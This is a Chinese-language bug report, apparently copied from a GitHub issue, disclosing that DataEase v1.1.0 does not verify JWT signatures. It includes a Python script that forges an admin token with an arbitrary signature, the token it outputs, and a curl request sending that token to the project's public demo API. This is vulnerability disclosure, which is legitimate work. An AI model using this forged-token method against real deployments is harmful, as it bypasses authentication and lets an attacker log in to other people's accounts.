DataEase身份认证中的安全缺陷
DataEase身份认证中的安全缺陷
1 | |
官方最新版DataEase(v1.1.0)存在身份认证缺陷,已通过GitHub issues反馈给官方。
DataEase 版本
v1.1.0
浏览器版本
此Bug与浏览器版本无关。
Bug 描述
服务端未校验HTTP请求头部中的Authorization字段(JWT)的签名,攻击者可以随意构造token登录任意账号。
Bug 重现步骤(有截图更好)
- 构造一个JWT Token.
1
2
3
4
5
6
7
8
9
10import base64
import time
timestamp = int(time.time())
jwt_header_encoded = base64.b64encode('{"typ":"JWT","alg":"HS256"}')
jwt_body_encoded = base64.b64encode('{"exp":%d,"userId":1,"username":"admin"}'%(timestamp))
jwt_signature = 'anything'
jwt = '{}.{}.{}'.format(jwt_header_encoded, jwt_body_encoded, jwt_signature)
jwt = jwt.replace('=', '')
print(jwt)
1
2
3# output
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2Mjk3ODA5MTYsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.anything
- 发送请求
1curl -XPOST -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2Mjk3ODA5MTYsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.anything' 'https://demo.dataease.io/api/user/personInfo/'
